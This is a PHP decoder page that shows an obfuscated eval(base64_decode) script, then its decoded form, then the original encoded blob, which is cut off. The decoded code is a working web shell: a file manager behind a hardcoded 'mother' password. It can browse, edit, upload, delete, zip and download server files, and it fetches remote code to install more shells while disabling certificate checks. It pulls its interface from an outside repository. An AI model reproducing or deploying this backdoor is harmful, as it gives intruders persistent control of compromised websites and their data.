Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php eval(base64_decode('Z290byBCWDVpbjsgdXhqQm86IGZ1bmN0aW9uIGV4cGxvZGVMYXN0KCRleCwgJGRh..

Decoded Output download

goto BX5in; uxjBo: function explodeLast($ex, $data) { $dataParts = explode($ex, $data); $dataLast = array_pop($dataParts); return array(implode($ex, $dataParts), $dataLast); } goto aPdpI; aPdpI: function getHomeDirectory() { if (isset($_SERVER["DOCUMENT_ROOT"])) { $homeDir = $_SERVER["DOCUMENT_ROOT"]; } else { if (isset($_SERVER["HOME"])) { $homeDir = $_SERVER["HOME"]; } else { $homeDir = __DIR__; } } $homeDirALL = explodeLast("/", $homeDir); return $homeDirALL[0] . "/"; } goto rYx_I; VI2cK: function sizeFormat($size) { if ($size >= 1073741824) { $size = number_format($size / 1073741824, 2) . " GB"; } else { if ($size >= 1048576) { $size = number_format($size / 1048576, 2) . " MB"; } else { if ($size >= 1024) { $size = number_format($size / 1024, 2) . " KB"; } else { if ($size > 1) { $size = $size . " bytes"; } else { if ($size == 1) { $size = $size . " byte"; } else { $size = "0 bytes"; } } } } } return $size; } goto Su5iy; fSgaz: $style = "https://raw.githubusercontent.com/samiulalim1/shell/main/style/v1.1/default.css"; goto Z2XpI; GKfd8: function setDelete($path) { $success = true; global $mr999plus; if (is_dir($path)) { $files = array_diff(scandir($path), array(".", "..")); foreach ($files as $file) { $deleted = setDelete(realpath($path) . "/" . $file); if (!$deleted) { $success = false; } } if (count(scandir($path)) == 2) { rmdir($path); } else { $success = false; } } else { if (is_file($path)) { if (str_replace("\", "/", $path) != $mr999plus) { $deleted = unlink($path); if (!$deleted) { $success = false; } } else { $success = false; } } } return $success; } goto zbyB8; VL1Z8: error_reporting(0); goto SECu9; PG1iz: function createFileFopen($file, $data) { $fileHandle = fopen($file, "w"); if ($fileHandle === false) { return false; } else { if (empty($data)) { fclose($fileHandle); return true; } else { $bytesWritten = fwrite($fileHandle, $data); fclose($fileHandle); if ($bytesWritten !== false) { return true; } else { return false; } } } } goto ClpxP; U8HAM: function getContent($url) { $curl = curl_init(); curl_setopt($curl, CURLOPT_URL, $url); curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1); curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, 0); curl_setopt($curl, CURLOPT_SSL_VERIFYHOST, 0); curl_setopt($curl, CURLOPT_FOLLOWLOCATION, true); curl_setopt($curl, CURLOPT_HTTPHEADER, array("User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36")); $output = curl_exec($curl); curl_close($curl); return $output; } goto PG1iz; bKDnG: $index = "https://raw.githubusercontent.com/samiulalim1/shell/main/html/v1.1/index.html"; goto fSgaz; BX5in: session_start(); goto VL1Z8; zbyB8: function getDecode($encode) { $key = "SamiulAlim"; $chiper = "AES-128-CTR"; $iv = hex2bin("2c269a65037c190f4994f11c0f1e37c0"); return openssl_decrypt($encode, $chiper, $key, 0, $iv); } goto U8HAM; cLcb8: date_default_timezone_set("Asia/Dhaka"); goto d5FTt; d5FTt: $mr999plus = str_replace("\", "/", __DIR__) . "/" . basename(__FILE__, "(1) : eval()'d code"); goto bKDnG; Z2XpI: $script = "https://raw.githubusercontent.com/samiulalim1/shell/main/script/v1.1/script.js"; goto uxjBo; Su5iy: function mimeType($file) { $result = array(); if (function_exists("finfo_open")) { $fileInfo = finfo_open(FILEINFO_MIME_TYPE); $mimeType = finfo_file($fileInfo, $file); finfo_close($fileInfo); $type = explode("/", $mimeType); } else { $extension = strtolower(pathinfo($file, PATHINFO_EXTENSION)); $extensionMap = array("txt" => "text/plain", "htm" => "text/html", "html" => "text/html", "php" => "text/x-php", "css" => "text/css", "js" => "application/javascript", "json" => "application/json", "xml" => "application/xml", "jpg" => "image/jpeg", "jpeg" => "image/jpeg", "png" => "image/png", "gif" => "image/gif", "webp" => "image/webp", "svg" => "image/svg+xml", "mp4" => "video/mp4", "mkv" => "video/x-matroska", "mp3" => "audio/mpeg", "wav" => "audio/wav", "aiff" => "audio/aiff", "zip" => "application/zip", "rar" => "application/x-rar-compressed"); $mimeType = $extensionMap[$extension] ?? "application/octet-stream"; $type = explode("/", $mimeType); } switch ($type[0]) { case "image": $result["type"] = "image"; break; case "video": $result["type"] = "video"; break; case "audio": $result["type"] = "audio"; break; case "text": $result["type"] = "ace"; break; case "inode": case "application": $result["type"] = $type[1] === "zip" ? "zip" : "ace"; break; default: $result["type"] = $type[0]; break; } $result["info"] = $type[0]; return $result; } goto YcUYc; YcUYc: function typeAceFile($name) { $idx = explode(".", $name); $countExplode = count($idx); $idx = strtolower($idx[$countExplode - 1]); $mimet = array("txt" => "text", "htm" => "html", "html" => "html", "php" => "php", "css" => "css", "js" => "javascript", "json" => "json", "xml" => "xml", "mxml" => "xml", "py" => "python", "sh" => "sh", "java" => "java"); if (isset($mimet[$idx])) { return $mimet[$idx]; } else { return "text"; } } goto GKfd8; rYx_I: function sizeFile($file) { return sizeFormat(filesize($file)); } goto jprEr; SECu9: $Hacker = "mother"; goto cLcb8; jprEr: function chmodFolder($folder) { return substr(sprintf("%o", fileperms($folder)), -4); } goto VI2cK; ClpxP: if (isset($_POST["data"])) { $noLogin = "<div class="box"><h1 class="title">File Manager</h1><div class="input" id="password"><div class="icon"><i class="fa-light fa-user-cowboy"></i></div><input type="password" id="input" placeholder=" "><label for="input" id="label">Password</label><span></span></div><div class="button" id="login"><h1>Login Now</h1></div></div>"; if (!isset($_SESSION["Hacker"])) { $result["dir"] = false; $result["success"] = true; $result["isLogin"] = false; $result["html"] = $noLogin; } else { if ($_SESSION["Hacker"] != $Hacker) { $result["dir"] = false; $result["success"] = true; $result["isLogin"] = false; $result["html"] = $noLogin; } else { $data = $_POST["data"]; if ($data == "Load") { $result["success"] = true; $result["isLogin"] = true; $result["dir"] = getHomeDirectory(); $result["html"] = "<div class="fix"><h1 class="owner">File Manager</h1><div class="newSell"><div class="newSell_title" id="dir">./</div><i id="openSell_btn" class="fa-light fa-square-plus"></i><div class="newSell_btn"> <i id="CreateFile" class="fa-light fa-file-plus"></i><i id="upload" class="fa-light fa-file-arrow-up"></i><i id="CreateFolder" class="fa-light fa-folder-plus"></i><i id="InstallShell" class="fa-light fa-shield-plus"></i><i id="closeSell_btn" class="fa-light fa-rectangle-xmark"></i></div></div></div><div id="folders"></div>"; } else { if ($data == "loadDir") { $dir = $_POST["dir"]; $explodeDir = explode("/", $dir); $homeDir = getHomeDirectory(); $openDir = $titleDir = $outputFolders = $outputFiles = ''; for ($i = 0; $i < count($explodeDir); $i++) { if ($explodeDir[$i] != '') { $openDir = $openDir . $explodeDir[$i] . "/"; $titleDir = $titleDir . "<span id="openDir" style="cursor: pointer;" data-dir="" . $openDir . "">" . $explodeDir[$i] . "</span>/"; } else { if ($i == 0) { $openDir = $titleDir = "/"; } } } if ($explodeDir[1] != '') { $undoDir = explodeLast("/", $dir); $undoDir = explodeLast("/", $undoDir[0]); $output = "<div class="flex"><div class="folders" id="openDir" data-dir="" . $undoDir[0] . "/">../</div><div class="edit_btn"><i id="openDir" data-dir="" . $homeDir . "" class="fa-light fa-house"></i><i id="openDir" data-dir="" . $dir . "" class="fa-light fa-rotate-left"></i></div></div>"; } else { $output = "<div class="flex"><div class="folders" id="openDir" data-dir="" . $dir . "">./</div><div class="edit_btn"><i id="openDir" data-dir="" . $homeDir . "" class="fa-light fa-house"></i><i id="openDir" data-dir="" . $dir . "" class="fa-light fa-rotate-left"></i></div></div>"; } $visibleFilesFolders = glob($dir . "*", GLOB_MARK); $hiddenFilesFolders = glob($dir . ".*", GLOB_MARK); $folders = array_merge($visibleFilesFolders, $hiddenFilesFolders); $folders = array_filter($folders, function ($file) { return !in_array(basename($file), array(".", "..")); }); usort($folders, function ($a, $b) { return strtolower(basename($a)) <=> strtolower(basename($b)); }); foreach ($folders as $folder) { $path = $dir . basename($folder); if ($path != $mr999plus) { if (is_file($path)) { $mimeType = mimeType($path); $outputFiles .= "<div class="flex"><div class="folders" id="openFile" data-name="" . basename($folder) . "" data-type="" . $mimeType["type"] . "" data-file="" . $path . ""><i class="fa-light fa-file"></i> " . basename($folder) . "</div><div class="date">" . date("h:i:s a d/m/Y", filemtime($path)) . "</div><div class="type">" . $mimeType["info"] . "</div><div class="size">" . sizeFile($path) . "</div><div class="edit_btn"> <i id="renameFile" data-dir="" . $path . "" data-name="" . basename($folder) . "" class="fa-light fa-pen-to-square"></i><i id="delete" data-dir="" . $path . "" class="fa-light fa-trash"></i><i id="download" data-dir="" . $path . "" class="fa-light fa-download"></i></div></div>"; } else { $path = $dir . basename($folder) . "/"; $outputFolders .= "<div class="flex"><div class="folders" id="openDir" data-dir="" . $path . ""><i class="fa-light fa-folder"></i> " . basename($folder) . "</div><div class="date">" . date("h:i:s a d/m/Y", filemtime($path)) . "</div><div class="type">" . filetype($path) . "</div><div class="size">" . chmodFolder($path) . "</div><div class="edit_btn"> <i id="renameFile" data-dir="" . $path . "" data-name="" . basename($folder) . "" class="fa-light fa-pen-to-square"></i><i id="delete" data-dir="" . $path . "" class="fa-light fa-trash"></i><i id="zipDir" data-dir="" . $path . "" class="fa-light fa-file-zipper"></i></div></div>"; } } } $result["success"] = true; $result["dir"] = $titleDir; $result["html"] = $output . $outputFolders . $outputFiles; } else { if ($data == "updateFile") { $dir = $_POST["dir"]; if (is_writable($dir)) { $editorData = base64_decode($_POST["code"]); $saveData = createFileFopen($dir, $editorData); if ($saveData) { $result["success"] = true; $result["msg"] = "File updated successfully!"; } else { $result["success"] = false; $result["msg"] = "Failed to update file!"; } } else { $result["success"] = false; $result["msg"] = "Edit permission denied!"; } } else { if ($data == "setRename") { $renameDir = $_POST["renameDir"]; $newName = $_POST["newName"]; if (is_file($renameDir)) { $undoDir = explodeLast("/", $renameDir); } else { $undoDir = explodeLast("/", $renameDir); $undoDir = explodeLast("/", $undoDir[0]); } $newDir = $undoDir[0] . "/" . $newName; if (is_dir($newDir) === true) { $result["error"] = true; $result["success"] = false; $result["msg"] = "Folder already existed!"; } else { if (is_file($newDir) === true) { $result["error"] = true; $result["success"] = false; $result["msg"] = "File already existed!"; } else { if (rename($renameDir, $newDir)) { $result["success"] = true; $result["msg"] = "Renamed successfully!"; } else { $result["error"] = false; $result["success"] = false; $result["msg"] = "Rename permission denied!"; } } } } else { if ($data == "setDelete") { $delete = setDelete($_POST["dir"]); $result["success"] = $delete; if ($delete) { $result["msg"] = "Deleted successfully!"; } else { $result["msg"] = "Deleted permission denied!"; } } else { if ($data == "zipDir") { $dir = $_POST["dir"]; $zip = $_POST["zip"]; $undoDir = explodeLast("/", $zip); $folDer = explodeLast("/", $undoDir[0]); $zipfile = $dir . $folDer[1] . ".zip"; if (class_exists("ZipArchive")) { if (is_writable($dir)) { $rootPath = realpath($zip); $zip = new ZipArchive(); $zip->open($zipfile, ZipArchive::CREATE | ZipArchive::OVERWRITE); $files = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($rootPath), RecursiveIteratorIterator::LEAVES_ONLY); foreach ($files as $name => $file) { if (!$file->isDir()) { $filePath = $file->getRealPath(); $relativePath = substr($filePath, strlen($rootPath) + 1); $zip->addFile($filePath, $relativePath); } } $zip->close(); $result["success"] = true; $result["msg"] = "Folder zipped successfully!"; } else { $result["success"] = false; $result["msg"] = "Zip permission denied!"; } } else { $result["success"] = false; $result["msg"] = "Your PHP version does not support ZipArchive!"; } } else { if ($data == "unzipFile") { $file = $_POST["file"]; $dir = pathinfo(realpath($file), PATHINFO_DIRNAME); if (class_exists("ZipArchive")) { if (is_writable($dir)) { $zip = new ZipArchive(); $res = $zip->open($file); if ($res === true) { $zip->extractTo($dir); $zip->close(); $result["success"] = true; $result["msg"] = "File unzipped successfully!"; } else { $result["success"] = false; $result["msg"] = "Unzip permission denied!"; } } else { $result["success"] = false; $result["msg"] = "Unzip permission denied!"; } } else { $result["success"] = false; $result["msg"] = "Your PHP version does not support ZipArchive!"; } } else { if ($data == "newFile") { $dir = $_POST["dir"]; $newfile = $dir . $_POST["newFileName"]; if (is_file($newfile)) { $result["error"] = true; $result["success"] = false; $result["msg"] = "File name already existed!"; } else { if (is_writable($dir)) { if (createFileFopen($newfile, '')) { $result["success"] = true; $result["file"] = $newfile; $result["msg"] = "File created successfully!"; } else { $result["success"] = false; $result["msg"] = "Failed to create file!"; } } else { $result["success"] = false; $result["msg"] = "New File permission denied!"; } $result["error"] = false; } } else { if ($data == "newFolder") { $dir = $_POST["dir"]; $newfolder = $dir . $_POST["newFolderName"]; if (is_dir($newfolder)) { $result["error"] = true; $result["success"] = false; $result["msg"] = "Folder name already existed!"; } else { if (is_writable($dir)) { if (mkdir($newfolder, 511, true)) { $result["success"] = true; $result["msg"] = "Folder created successfully!"; } else { $result["success"] = false; $result["msg"] = "Failed to create folder!"; } } else { $result["success"] = false; $result["msg"] = "New Folder permission denied!"; } $result["error"] = false; } } else { if ($data == "uploadFile") { $dir = $_POST["dir"]; $newfile = $dir . $_POST["fileName"]; if (is_file($newfile)) { $result["error"] = true; $result["success"] = false; $result["msg"] = "File name already existed!"; } else { if (is_writable($dir)) { if (move_uploaded_file($_FILES["file"]["tmp_name"], $newfile)) { $result["success"] = true; $result["msg"] = "File uploaded successfully!"; } else { $result["success"] = false; $result["msg"] = "Failed to upload file!"; } } else { $result["success"] = false; $result["msg"] = "Upload File permission denied!"; } $result["error"] = false; } } else { if ($data == "autoInstall") { $dir = $_POST["dir"]; $autoInstall = explode("|SHELL|", getDecode($_POST["autoInstall"])); $installfile = $dir . $autoInstall[0]; if (is_file($installfile)) { $result["error"] = true; $result["success"] = false; $result["msg"] = "File already installed!"; } else { if (is_writable($dir)) { $installContent = getContent($autoInstall[1]); if ($installContent != '') { if (createFileFopen($installfile, $installContent)) { $result["success"] = true; $result["msg"] = "Installed successfully!"; } else { $result["success"] = false; $result["msg"] = "Failed to install!"; } } else { $result["success"] = false; $result["msg"] = "Something went wrong!!"; } } else { $result["success"] = false; $result["msg"] = "Install permission denied!"; } $result["error"] = false; } } else { if ($data == "Uninstall") { $uninstallContent = getContent("https://raw.githubusercontent.com/samiulalim1/shell/main/uninstall/uninstall.php"); if (is_writable($mr999plus)) { if ($uninstallContent != '') { if (createFileFopen($mr999plus, $uninstallContent)) { $result["success"] = true; $result["msg"] = "Uninstalled successfully!"; } else { $result["success"] = false; $result["msg"] = "Failed to uninstall!"; } } else { $result["success"] = false; $result["msg"] = "Something went wrong!"; } } else { $result["success"] = false; $result["msg"] = "Uninstall permission denied!"; } } else { $result["error"] = false; $result["success"] = false; $result["msg"] = "Permission denied!"; } } } } } } } } } } } } } } header("Content-Type: application/json; charset=utf-8"); die(json_encode($result)); } else { if (isset($_GET["data"], $_SESSION["Hacker"])) { if ($_SESSION["Hacker"] == $Hacker) { $data = $_GET["data"]; if ($data == "openSrc") { $file = base64_decode(str_replace(" ", "+", $_GET["file"])); if (file_exists($file)) { if (function_exists("mime_content_type")) { $ContentType = mime_content_type($file); } else { $extension = strtolower(pathinfo($file, PATHINFO_EXTENSION)); $mimeTypes = array("jpg" => "image/jpeg", "png" => "image/png", "gif" => "image/gif", "webp" => "image/webp", "svg" => "image/svg+xml", "mp4" => "video/mp4", "mkv" => "video/x-matroska", "mp3" => "audio/mpeg", "wav" => "audio/wav", "aiff" => "audio/aiff", "jpeg" => "image/jpeg"); $ContentType = $mimeTypes[$extension] ?? "application/octet-stream"; } header("Content-Type: " . $ContentType); readfile($file); die; } else { http_response_code("404"); die; } } else { if ($data == "download") { $file = base64_decode(str_replace(" ", "+", $_GET["file"])); if (file_exists($file)) { header("Content-Description: File Transfer"); header("Content-Type: application/octet-stream"); header("Content-Disposition: attachment; filename=" . basename($file)); header("Content-Transfer-Encoding: binary"); header("Expires: 0"); header("Cache-Control: must-revalidate"); header("Pragma: public"); header("Content-Length: " . filesize($file)); ob_clean(); flush(); readfile($file); die; } else { die("<script>alert("File not found!"); window.close();</script>"); } } else { if ($data == "openACE") { $file = base64_decode(str_replace(" ", "+", $_GET["file"])); if (file_exists($file)) { $fileSize = filesize($file); $fileName = basename($file); $fileHandle = fopen($file, "r"); if ($fileHandle) { $canRead = "true"; if ($fileSize == 0) { $content = ''; } else { $content = base64_encode(fread($fileHandle, $fileSize)); } fclose($fileHandle); } else { $canRead = "false"; $content = "Read permission denied!"; } } else { $fileName = ''; $canRead = "false"; $content = "File not found!"; } $setting = "var dir = "" . $file . "", aceName = "" . $fileName . "", aceFileType = "" . typeAceFile($fileName) . "", aceRead = " . $canRead . ", aceData = "" . $content . "";"; die(str_replace("|SETTING|", $setting, str_replace("|SCRIPT|", getContent($script), str_replace("|STYLE|", getContent($style), getContent($index))))); } } } } else { $setting = "var dir = "";"; die(str_replace("|SETTING|", $setting, str_replace("|SCRIPT|", getContent($script), str_replace("|STYLE|", getContent($style), getContent($index))))); } } else { if (isset($_POST["login"])) { $login = $_POST["login"]; if ($login == $Hacker) { $_SESSION["Hacker"] = $Hacker; $result["success"] = true; } else { $result["success"] = false; $result["msg"] = "Wrong Password!"; } header("Content-Type: application/json; charset=utf-8"); die(json_encode($result)); } else { $setting = "var dir = "";"; die(str_replace("|SETTING|", $setting, str_replace("|SCRIPT|", getContent($script), str_replace("|STYLE|", getContent($style), getContent($index))))); } } }

Did this file decode correctly?

Original Code

<?php eval(base64_decode('Z290byBCWDVpbjsgdXhqQm86IGZ1bmN0aW9uIGV4cGxvZGVMYXN0KCRleCwgJGRhdGEpIHsgJGRhdGFQYXJ0cyA9IGV4cGxvZGUoJGV4LCAkZGF0YSk7ICRkYXRhTGFzdCA9IGFycmF5X3BvcCgkZGF0YVBhcnRzKTsgcmV0dXJuIGFycmF5KGltcGxvZGUoJGV4LCAkZGF0YVBhcnRzKSwgJGRhdGFMYXN0KTsgfSBnb3RvIGFQZHBJOyBhUGRwSTogZnVuY3Rpb24gZ2V0SG9tZURpcmVjdG9yeSgpIHsgaWYgKGlzc2V0KCRfU0VSVkVSWyJcMTA0XHg0Zlx4NDNceDU1XHg0ZFwxMDVceDRlXHg1NFwxMzdcMTIyXHg0ZlwxMTdceDU0Il0pKSB7ICRob21lRGlyID0gJF9TRVJWRVJbIlx4NDRcMTE3XDEwM1wxMjVceDRkXHg0NVwxMTZceDU0XDEzN1x4NTJcMTE3XDExN1wxMjQiXTsgfSBlbHNlIHsgaWYgKGlzc2V0KCRfU0VSVkVSWyJcMTEwXDExN1x4NGRcMTA1Il0pKSB7ICRob21lRGlyID0gJF9TRVJWRVJbIlx4NDhceDRmXHg0ZFwxMDUiXTsgfSBlbHNlIHsgJGhvbWVEaXIgPSBfX0RJUl9fOyB9IH0gJGhvbWVEaXJBTEwgPSBleHBsb2RlTGFzdCgiXHgyZiIsICRob21lRGlyKTsgcmV0dXJuICRob21lRGlyQUxMWzBdIC4gIlx4MmYiOyB9IGdvdG8gcll4X0k7IFZJMmNLOiBmdW5jdGlvbiBzaXplRm9ybWF0KCRzaXplKSB7IGlmICgkc2l6ZSA+PSAxMDczNzQxODI0KSB7ICRzaXplID0gbnVtYmVyX2Zvcm1hdCgkc2l6ZSAvIDEwNzM3NDE4MjQsIDIpIC4gIlw0MFx4NDdcMTAyIjsgfSBlbHNlIHsgaWYgKCRzaXplID49IDEwNDg1NzYpIHsgJHNpemUgPSBudW1iZXJfZm9ybWF0KCRzaXplIC8gMTA0ODU3NiwgMikgLiAiXDQwXDExNVx4NDIiOyB9IGVsc2UgeyBpZiAoJHNpemUgPj0gMTAyNCkgeyAkc2l6ZSA9IG51bWJlcl9mb3JtYXQoJHNpemUgLyAxMDI0LCAyKSAuICJceDIwXHg0YlwxMDIiOyB9IGVsc2UgeyBpZiAoJHNpemUgPiAxKSB7ICRzaXplID0gJHNpemUgLiAiXHgyMFx4NjJceDc5XDE2NFx4NjVceDczIjsgfSBlbHNlIHsgaWYgKCRzaXplID09IDEpIHsgJHNpemUgPSAkc2l6ZSAuICJceDIwXDE0MlwxNzFceDc0XHg2NSI7IH0gZWxzZSB7ICRzaXplID0gIlw2MFw0MFx4NjJceDc5XHg3NFx4NjVceDczIjsgfSB9IH0gfSB9IHJldHVybiAkc2l6ZTsgfSBnb3RvIFN1NWl5OyBmU2dhejogJHN0eWxlID0gIlx4NjhcMTY0XDE2NFwxNjBcMTYzXDcyXDU3XDU3XHg3MlwxNDFcMTY3XDU2XDE0N1wxNTFcMTY0XDE1MFwxNjVcMTQyXHg3NVwxNjNceDY1XHg3Mlx4NjNceDZmXHg2ZVx4NzRcMTQ1XHg2ZVwxNjRcNTZcMTQzXHg2Zlx4NmRcNTdceDczXHg2MVwxNTVceDY5XHg3NVwxNTRcMTQxXHg2Y1wxNTFceDZkXHgzMVx4MmZceDczXDE1MFx4NjVcMTU0XHg2Y1w1N1wxNTVceDYxXDE1MVwxNTZceDJmXDE2M1x4NzRcMTcxXDE1NFwxNDVceDJmXDE2Nlx4MzFceDJlXDYxXHgyZlwxNDRceDY1XHg2Nlx4NjFcMTY1XDE1NFwxNjRcNTZceDYzXDE2M1x4NzMiOyBnb3RvIFoyWHBJOyBHS2ZkODogZnVuY3Rpb24gc2V0RGVsZXRlKCRwYXRoKSB7ICRzdWNjZXNzID0gdHJ1ZTsgZ2xvYmFsICRtcjk5OXBsdXM7IGlmIChpc19kaXIoJHBhdGgpKSB7ICRmaWxlcyA9IGFycmF5X2RpZmYoc2NhbmRpcigkcGF0aCksIGFycmF5KCJcNTYiLCAiXDU2XHgyZSIpKTsgZm9yZWFjaCAoJGZpbGVzIGFzICRmaWxlKSB7ICRkZWxldGVkID0gc2V0RGVsZXRlKHJlYWxwYXRoKCRwYXRoKSAuICJcNTciIC4gJGZpbGUpOyBpZiAoISRkZWxldGVkKSB7ICRzdWNjZXNzID0gZmFsc2U7IH0gfSBpZiAoY291bnQoc2NhbmRpcigkcGF0aCkpID09IDIpIHsgcm1kaXIoJHBhdGgpOyB9IGVsc2UgeyAkc3VjY2VzcyA9IGZhbHNlOyB9IH0gZWxzZSB7IGlmIChpc19maWxlKCRwYXRoKSkgeyBpZiAoc3RyX3JlcGxhY2UoIlwxMzQiLCAiXDU3IiwgJHBhdGgpICE9ICRtcjk5OXBsdXMpIHsgJGRlbGV0ZWQgPSB1bmxpbmsoJHBhdGgpOyBpZiAoISRkZWxldGVkKSB7ICRzdWNjZXNzID0gZmFsc2U7IH0gfSBlbHNlIHsgJHN1Y2Nlc3MgPSBmYWxzZTsgfSB9IH0gcmV0dXJuICRzdWNjZXNzOyB9IGdvdG8gemJ5Qjg7IFZMMVo4OiBlcnJvcl9yZXBvcnRpbmcoMCk7IGdvdG8gU0VDdTk7IFBHMWl6OiBmdW5jdGlvbiBjcmVhdGVGaWxlRm9wZW4oJGZpbGUsICRkYXRhKSB7ICRmaWxlSGFuZGxlID0gZm9wZW4oJGZpbGUsICJcMTY3Iik7IGlmICgkZmlsZUhhbmRsZSA9PT0gZmFsc2UpIHsgcmV0dXJuIGZhbHNlOyB9IGVsc2UgeyBpZiAoZW1wdHkoJGRhdGEpKSB7IGZjbG9zZSgkZmlsZUhhbmRsZSk7IHJldHVybiB0cnVlOyB9IGVsc2UgeyAkYnl0ZXNXcml0dGVuID0gZndyaXRlKCRmaWxlSGFuZGxlLCAkZGF0YSk7IGZjbG9zZSgkZmlsZUhhbmRsZSk7IGlmICgkYnl0ZXNXcml0dGVuICE9PSBmYWxzZSkgeyByZXR1cm4gdHJ1ZTsgfSBlbHNlIHsgcmV0dXJuIGZhbHNlOyB9IH0gfSB9IGdvdG8gQ2xweFA7IFU4SEFNOiBmdW5jdGlvbiBnZXRDb250ZW50KCR1cmwpIHsgJGN1cmwgPSBjdXJsX2luaXQoKTsgY3VybF9zZXRvcHQoJGN1cmwsIENVUkxPUFRfVVJMLCAkdXJsKTsgY3VybF9zZXRvcHQoJGN1cmwsIENVUkxPUFRfUkVUVVJOVFJBTlNGRVIsIDEpOyBjdXJsX3NldG9wdCgkY3VybCwgQ1VSTE9QVF9TU0xfVkVSSUZZUEVFUiwgMCk7IGN1cmxfc2V0b3B0KCRjdXJsLCBDVVJMT1BUX1NTTF9WRVJJRllIT1NULCAwKTsgY3VybF9zZXRvcHQoJGN1cmwsIENVUkxPUFRfRk9MTE9XTE9DQVRJT04sIHRydWUpOyBjdXJsX3NldG9wdCgkY3VybCwgQ1VSTE9QVF9IVFRQSEVBREVSLCBhcnJheSgiXHg1NVx4NzNceDY1XDE2Mlw1NVx4NDFceDY3XDE0NVwxNTZcMTY0XHgzYVw0MFx4NGRcMTU3XDE3Mlx4NjlceDZjXDE1NFwxNDFcNTdceDM1XDU2XDYwXDQwXHgyOFwxMjdceDY5XDE1Nlx4NjRcMTU3XDE2N1wxNjNceDIwXDExNlx4NTRceDIwXDYxXDYwXHgyZVx4MzBcNzNcNDBcMTI3XHg2OVwxNTZcNjZceDM0XDczXHgyMFwxNzBcNjZceDM0XDUxXDQwXHg0MVx4NzBceDcwXDE1NFx4NjVceDU3XHg2NVwxNDJceDRiXHg2OVx4NzRceDJmXDY1XDYzXHgzN1x4MmVceDMzXDY2XDQwXDUwXHg0YlwxMTBceDU0XHg0ZFx4NGNceDJjXHgyMFwxNTRceDY5XDE1M1wxNDVceDIwXHg0N1wxNDVceDYzXHg2Ylx4NmZcNTFcNDBcMTAzXDE1MFx4NzJceDZmXDE1NVx4NjVcNTdcNjFcNjFcNjVcNTZceDMwXHgyZVw2MFw1Nlw2MFx4MjBceDUzXDE0MVwxNDZcMTQxXDE2MlwxNTFcNTdceDM1XHgzM1w2N1w1Nlw2M1w2NiIpKTsgJG91dHB1dCA9IGN1cmxfZXhlYygkY3VybCk7IGN1cmxfY2xvc2UoJGN1cmwpOyByZXR1cm4gJG91dHB1dDsgfSBnb3RvIFBHMWl6OyBiS0RuRzogJGluZGV4ID0gIlwxNTBceDc0XHg3NFx4NzBcMTYzXHgzYVx4MmZcNTdceDcyXHg2MVx4NzdcNTZceDY3XDE1MVwxNjRcMTUwXDE2NVx4NjJcMTY1XDE2M1wxNDVceDcyXHg2M1wxNTdcMTU2XDE2NFwxNDVcMTU2XHg3NFx4MmVceDYzXDE1N1x4NmRcNTdcMTYzXDE0MVx4NmRceDY5XHg3NVx4NmNcMTQxXHg2Y1x4NjlceDZkXHgzMVx4MmZceDczXDE1MFwxNDVcMTU0XHg2Y1x4MmZceDZkXHg2MVx4NjlcMTU2XDU3XHg2OFx4NzRcMTU1XDE1NFw1N1x4NzZceDMxXDU2XDYxXHgyZlx4NjlceDZlXDE0NFwxNDVcMTcwXDU2XHg2OFwxNjRceDZkXHg2YyI7IGdvdG8gZlNnYXo7IEJYNWluOiBzZXNzaW9uX3N0YXJ0KCk7IGdvdG8gVkwxWjg7IHpieUI4OiBmdW5jdGlvbiBnZXREZWNvZGUoJGVuY29kZSkgeyAka2V5ID0gIlwxMjNceDYxXHg2ZFx4NjlcMTY1XHg2Y1wxMDFceDZjXDE1MVwxNTUiOyAkY2hpcGVyID0gIlwxMDFceDQ1XHg1M1w1NVw2MVx4MzJceDM4XDU1XHg0M1wxMjRcMTIyIjsgJGl2ID0gaGV4MmJpbigiXHgzMlwxNDNcNjJceDM2XHgzOVx4NjFcNjZcNjVcNjBcNjNceDM3XHg2M1x4MzFcNzFcNjBceDY2XDY0XHgzOVx4MzlcNjRceDY2XHgzMVx4MzFceDYzXHgzMFwxNDZceDMxXDE0NVw2M1w2N1wxNDNceDMwIik7IHJldHVybiBvcGVuc3NsX2RlY3J5cHQoJGVuY29kZSwgJGNoaXBlciwgJGtleSwgMCwgJGl2KTsgfSBnb3RvIFU4SEFNOyBjTGNiODogZGF0ZV9kZWZhdWx0X3RpbWV6b25lX3NldCgiXHg0MVx4NzNceDY5XHg2MVw1N1x4NDRcMTUwXDE0MVx4NmJceDYxIik7IGdvdG8gZDVGVHQ7IGQ1RlR0OiAkbXI5OTlwbHVzID0gc3RyX3JlcGxhY2UoIlx4NWMiLCAiXHgyZiIsIF9fRElSX18pIC4gIlw1NyIgLiBiYXNlbmFtZShfX0ZJTEVfXywgIlw1MFw2MVw1MVw0MFw3Mlw0MFwxNDVceDc2XHg2MVx4NmNceDI4XHgyOVx4MjdcMTQ0XHgyMFwxNDNcMTU3XHg2NFx4NjUiKTsgZ290byBiS0RuRzsgWjJYcEk6ICRzY3JpcHQgPSAiXHg2OFwxNjRcMTY0XHg3MFx4NzNcNzJceDJmXHgyZlx4NzJceDYxXDE2N1x4MmVceDY3XDE1MVx4NzRceDY4XDE2NVwxNDJceDc1XDE2M1x4NjVceDcyXDE0M1x4NmZceDZlXHg3NFwxNDVcMTU2XDE2NFw1NlwxNDNcMTU3XDE1NVx4MmZceDczXHg2MVx4NmRcMTUxXDE2NVx4NmNcMTQxXHg2Y1x4NjlcMTU1XDYxXDU3XHg3M1x4NjhcMTQ1XHg2Y1x4NmNceDJmXDE1NVwxNDFceDY5XHg2ZVw1N1wxNjNcMTQzXHg3MlwxNTFcMTYwXDE2NFw1N1x4NzZceDMxXDU2XDYxXHgyZlx4NzNcMTQzXHg3MlwxNTFcMTYwXHg3NFw1Nlx4NmFceDczIjsgZ290byB1eGpCbzsgU3U1aXk6IGZ1bmN0aW9uIG1pbWVUeXBlKCRmaWxlKSB7ICRyZXN1bHQgPSBhcnJheSgpOyBpZiAoZnVuY3Rpb25fZXhpc3RzKCJceDY2XDE1MVx4NmVceDY2XDE1N1wxMzdcMTU3XDE2MFx4NjVcMTU2IikpIHsgJGZpbGVJbmZvID0gZmluZm9fb3BlbihGSUxFSU5GT19NSU1FX1RZUEUpOyAkbWltZVR5cGUgPSBmaW5mb19maWxlKCRmaWx